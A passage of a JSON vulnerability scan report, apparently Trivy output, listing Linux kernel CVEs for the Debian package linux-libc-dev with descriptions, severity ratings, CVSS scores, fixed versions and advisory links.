DETACH_EXIT only.\n\nThis can leave inconsistent group state when a removed event is a group\nleader and the group contains siblings without remove_on_exec. If the group\nwas active, the surviving siblings can remain active and attached to the\nremoved leader's sibling list, but are no longer represented by a valid\ngroup leader on the PMU context active lists.\n\nA later close of the removed leader uses DETACH_GROUP and can promote the\nstill-active siblings from this stale group state. The next schedule-in can\nthen add an already-linked active_list entry again, corrupting the PMU\ncontext active list.\n\nWith DEBUG_LIST enabled, this is caught as a list_add double-add in\nmerge_sched_in().\n\nFix this by detaching group relationships when remove_on_exec removes an\nevent. This preserves the existing task-exit and revoke behavior, while\nensuring surviving siblings are ungrouped before the removed event leaves\nthe context.", "Severity": "HIGH", "CweIDs": [ "CWE-662" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64556", "https://access.redhat.com/errata/RHSA-2026:72623", "https://access.redhat.com/security/cve/CVE-2026-64556", "https://bugzilla.redhat.com/2482104", "https://bugzilla.redhat.com/2487002", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2495938", "https://bugzilla.redhat.com/2502318", "https://bugzilla.redhat.com/2502494", "https://bugzilla.redhat.com/2508319", "https://bugzilla.redhat.com/2524423", "https://bugzilla.redhat.com/2524434", "https://bugzilla.redhat.com/show_bug.cgi?id=2482104", "https://bugzilla.redhat.com/show_bug.cgi?id=2487002", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2495938", "https://bugzilla.redhat.com/show_bug.cgi?id=2502318", "https://bugzilla.redhat.com/show_bug.cgi?id=2502494", "https://bugzilla.redhat.com/show_bug.cgi?id=2508319", "https://bugzilla.redhat.com/show_bug.cgi?id=2524423", "https://bugzilla.redhat.com/show_bug.cgi?id=2524434", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45942", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46325", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53341", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63875", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64556", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74753", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80522", "https://errata.almalinux.org/9/ALSA-2026-72623.html", "https://errata.rockylinux.org/RLSA-2026:72623", "https://git.kernel.org/linus/037a3c43edfb597665dd34457cd22b14692f2ba3%20%287.2-rc2%29", "https://git.kernel.org/stable/c/037a3c43edfb597665dd34457cd22b14692f2ba3", "https://git.kernel.org/stable/c/06ccef0434e98058ddae7bcebc901f93d22b7653", "https://git.kernel.org/stable/c/1d3e1102273f09180262496658e7eeed8a5a7b59", "https://git.kernel.org/stable/c/39358e856fb89e62e3c8d7389a2dc4ec33dbe90e", "https://git.kernel.org/stable/c/4cdb1b3ab96eb1b7eb70bc5c82fede334bd60df2", "https://git.kernel.org/stable/c/a2d5d3ee7b6e3953114726b1521e62123ab5b043", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-f3wdgmc4bvkq.toml", "https://linux.oracle.com/cve/CVE-2026-64556.html", "https://linux.oracle.com/errata/ELSA-2026-72624.html", "https://lore.kernel.org/linux-cve-announce/2026072939-CVE-2026-64556-0f2c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64556", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64556" ], "PublishedDate": "2026-07-29T09:16:30.153Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64558", "VendorIDs": [ "DSA-6405-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64558", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dfe2d483e9c874dfb25e9c71255f13ac3767d90544930438a873184c80e051e6", "Title": "kernel: s390/pkey: Check length in pkey_pckmo handler implementation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ns390/pkey: Check length in pkey_pckmo handler implementation\n\nExplicitly check the length of the target buffer in the pkey_pckmo\nimplementation of the key_to_protkey() handler function. The handler\nfunction fails, if the generated output data exceeds the length of the\nprovided target buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64558", "https://git.kernel.org/linus/1ac287e2af9a9112fe271427ef45eceb26bce8b4%20%287.2-rc1%29", "https://git.kernel.org/stable/c/02028a24e26d85262ab9c8fc4344e1f3503007fc", "https://git.kernel.org/stable/c/1ac287e2af9a9112fe271427ef45eceb26bce8b4", "https://git.kernel.org/stable/c/433e5e70cdc1edf382d28d08a885b22e2b98b7da", "https://git.kernel.org/stable/c/614aa0491c7a190556c2345dddee0b6f5ed90989", "https://lore.kernel.org/linux-cve-announce/2026072912-CVE-2026-64558-7352@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64558", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64558" ], "PublishedDate": "2026-07-29T17:16:53.41Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64560", "VendorIDs": [ "DSA-6405-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64560", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bae3121a78f1c41a9991c2bda26730cf1744d995fbded75484450180c6e5c264", "Title": "kernel: posix-cpu-timers: Prevent UAF caused by non-leader exec() race", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nposix-cpu-timers: Prevent UAF caused by non-leader exec() race\n\nWongi and Jungwoo decoded and reported a non-leader exec() related race\nwhich can result in an UAF:\n\n sys_timer_delete()\t\t\texec()\n posix_cpu_timer_del()\n // Observes old leader\n p = pid_task(pid, pid_type);\t\tde_thread()\n \t\t\t\t\t switch_leader();\n\t\t\t\t\t release_task(old_leader)\n\t\t\t\t\t __exit_signal(old_leader)\n\t\t\t\t\t sighand = lock(old_leader, sighand);\n\t\t\t\t\t posix_cpu_timers*_exit();\n sighand = lock_task_sighand(p)\t unhash_task(old_leader);\n sh = lock(p, sighand)\t \t old_leader-\u003esighand = NULL;\n\t\t\t\t\t unlock(sighand);\n (p-\u003esighand == NULL)\n\tunlock(sh)\n\treturn NULL;\n\n // Returns without action\n if(!sighand)\n return 0;\n free_posix_timer();\n\nThis is \"harmless\" unless the deleted timer was armed and enqueued in\np-\u003esignal because on exec() a TGID targeted timer is inherited.\n\nAs sys_timer_delete() freed the underlying posix timer object\nrun_posix_cpu_timers() or any timerqueue related add/delete operations on\nother timers will access the freed object's timerqueue node, which results\nin an UAF.\n\nThere is a similar problem vs. posix_cpu_timer_set(). For regular posix\ntimers it just transiently returns -ESRCH to user space, but for the use\ncase in do_cpu_nanosleep() it's the same UAF just that the k_itimer is\nallocated on the stack.\n\nAlso posix_cpu_timer_rearm() fails to rearm the timer, which means it stops\nto expire.\n\nWhile debating solutions Frederic pointed out another problem:\n\n posix_cpu_timer_del(tmr)\n\t\t\t\t\t__exit_signal(p)\n\t\t\t\t\t posix_cpu_timers*_exit(p);\n\t\t\t\t\t unhash_task(p);\n\t\t\t\t\t p-\u003esighand = NULL;\n sh = lock_task_sighand(p)\n sighand = p-\u003esighand;\n\tif (!sighand)\n\t return NULL;\n\tlock(sighand);\n\n if (!sh)\n\tWARN_ON_ONCE(timer_queued(tmr));\n\nOn weakly ordered architectures it is not guaranteed that\nposix_cpu_timer_del() will observe the stores in posix_cpu_timers*_exit()\nwhen p-\u003esighand is observed as NULL, which means the WARN() can be a false\npositive.\n\nSolve these issues by:\n\n 1) Changing the store in __exit_signal() to smp_store_release().\n\n 2) Adding a smp_acquire__after_ctrl_dep() into the !sighand path\n of lock_task_sighand().\n\n 3) Creating a helper function for looking up the task and locking sighand\n which does not return when sighand == NULL. Instead it retries the\n task lookup and only if that fails it gives up.\n\n 4) Using that helper in the three affected functions.\n\n#1/#2 ensures that the reader side which observes sighand == NULL also\nobserves all preceeding stores, i.e. the stores in posix_cpu_timers*_exit()\nand the ones in unhash_task().\n\n#3 ensures that the above described non-leader exec() situation is handled\ngracefully. When the task lookup returns the old leader, but sighand ==\nNULL then it retries. In the non-leader exec() case the subsequent task\nlookup will observe the new leader due to #1/#2. In normal exit() scenarios\nthe subsequent lookup fails.\n\nWhen the task lookup fails, the function also checks whether the timer is\nstill enqueued and issues a warning if that's the case. Unfortunately there\nis nothing which can be done about it, but as the task is already not\nlonger visible the timer should not be accessed anymore. This check also\nrequires memory ordering, which is not provided when the first lookup\nfails. To achieve that the check is preceeded by a smp_rmb() which pairs\nwith the smp_wmb() in write_seqlock() in __exit_signal(). That ensures that\nthe stores in posix_cpu_timers*_exit() are visible.\n\nThe history of the non-leader exec() issue goes back to the early days of\nposix CPU timers, which stored a pointer to the group leader task in the\ntimer. That obviously fails when a non-leader exec() switches the leader.\ncommit e0a70217107e (\"posix-cpu-timers: workaround to suppress the problems\nwith mt exec\") added a temporary workaround for that in 2010 which surv\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-64560", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/920f893f735e92ba3a1cd9256899a186b161928d%20%287.2-rc3%29", "https://git.kernel.org/stable/c/12a891c773aeb5823d63dbd0cb2ab931d6c21c9b", "https://git.kernel.org/stable/c/67aa823e3e8c229c6d374df79c804f6721cb83b6", "https://git.kernel.org/stable/c/6a7ecc25abe6f0fecc6e62a05096987200edbd02", "https://git.kernel.org/stable/c/920f893f735e92ba3a1cd9256899a186b161928d", "https://git.kernel.org/stable/c/ad1cafa1bdaa71da85d71cac053838bbe97852b6", "https://git.kernel.org/stable/c/cc35ddbc497311e0b6b9a6a6a4f4d1217d6ab1aa", "https://git.kernel.org/stable/c/d8bcb28abad857f1415da7656f19b2ada90af04f", "https://git.kernel.org/stable/c/e74443f5db0037c556ef436fa64b88bf4ea08f83", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-rej1p6cvzwb8.toml", "https://linux.oracle.com/cve/CVE-2026-64560.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026072908-CVE-2026-64560-3932@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64560", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64560" ], "PublishedDate": "2026-07-29T17:16:53.637Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64562", "VendorIDs": [ "DSA-6415-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64562", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8561843365e5c580defde40efa4e3439ff74951d73d21ff93d5811106a14bd40", "Title": "kernel: KVM: nVMX: Hide shadow VMCS right after VMCLEAR", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: nVMX: Hide shadow VMCS right after VMCLEAR\n\nfree_nested() frees the shadow VMCS while vmcs01 still points to it. But\nbecause it is asynchronous with respect to loaded_vmcs_clear(), the vCPU\nmight migrate before the pointer is cleared and __loaded_vmcs_clear()\nmay then execute VMCLEAR.\n\nThe VMCS needs to stay attached until its explicit VMCLEAR completes, but\nthen it can be hidden and the page safely freed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64562", "https://git.kernel.org/linus/622ebfac01ba4f9c0060cebd41257fe46fc4a0b3%20%287.2-rc5%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-64562.mbox", "https://git.kernel.org/stable/c/1dabef6e206568bf9d9ade74f6e56a48ea35695d", "https://git.kernel.org/stable/c/4f50e6aec16f69627dbad5704d1e90a255d766a7", "https://git.kernel.org/stable/c/589419470030a89f16cf19300658b6dc644ca946", "https://git.kernel.org/stable/c/622ebfac01ba4f9c0060cebd41257fe46fc4a0b3", "https://git.kernel.org/stable/c/8001d2ce9d9bd09118ce523aef595aa094573ae3", "https://git.kernel.org/stable/c/af56298e9d86e6098cd1d2e155cb2949b7c45412", "https://git.kernel.org/stable/c/b82c3144d8264265448292ca406f60bafeba3b6f", "https://git.kernel.org/stable/c/dc3eecfa219ebc9d01eaf7d1abd1441efe884dab", "https://linux.oracle.com/cve/CVE-2026-64562.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-64562", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64562" ], "PublishedDate": "2026-08-04T07:16:31.093Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64563", "VendorIDs": [ "DSA-6415-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64563", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a704f232081620cb340c57032d01d2f4b5b26587c103cf98e75e7101bb0dd8b4", "Title": "kernel: rhashtable: clear stale iter-\u003ep on table restart", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrhashtable: clear stale iter-\u003ep on table restart\n\nrhashtable_walk_start_check() has two restart paths when resuming a walk.\nWhen iter-\u003ewalker.tbl is valid, it re-validates iter-\u003ep against the table\nand sets iter-\u003ep = NULL if the object is gone. When iter-\u003ewalker.tbl is\nNULL (table was freed during resize), it resets slot and skip but forgets\nto clear iter-\u003ep.\n\nrhashtable_walk_next() then dereferences the stale iter-\u003ep, reading\nfreed memory. This is a use-after-free.\n\nAny caller that does multi-fragment rhashtable walks across\nwalk_stop/walk_start boundaries is affected. Concrete cases include\nnetlink_diag (__netlink_diag_dump in net/netlink/diag.c) and TIPC\n(tipc_nl_sk_walk in net/tipc/socket.c).\n\nCrash stack (netlink_diag):\n BUG: KASAN: slab-use-after-free in rhashtable_walk_next+0x365/0x3c0\n Read of size 8 at addr ffff88801a9d2438 (freed kmalloc-2k, offset 1080)\n Call Trace:\n rhashtable_walk_next+0x365/0x3c0 (lib/rhashtable.c:1016)\n __netlink_diag_dump+0x160/0x760 (net/netlink/diag.c:122)\n netlink_diag_dump+0xc2/0x240\n netlink_dump+0x5bc/0x1270\n netlink_recvmsg+0x7a3/0x980\n sock_recvmsg+0x1bc/0x200\n __sys_recvfrom+0x1d4/0x2c0", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/security/cve/CVE-2026-64563", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/8173f7e2ce67e6ca1d4763f3da14e5b01ce77456%20%287.2-rc5%29", "https://git.kernel.org/stable/c/042fda5c088015f18838e5c692659a7be60aeb26", "https://git.kernel.org/stable/c/0955b65c2b47c30b439e2cf1b1e375073aa0413a", "https://git.kernel.org/stable/c/3ff7c1dbf722cf3fa538672452ba182318e0fcc3", "https://git.kernel.org/stable/c/4169d9fb92f313ff8e7e83d733c1ecdcc93eebd3", "https://git.kernel.org/stable/c/8173f7e2ce67e6ca1d4763f3da14e5b01ce77456", "https://git.kernel.org/stable/c/a0406c40c6638c5ae50257db6297b2fba6c9ba16", 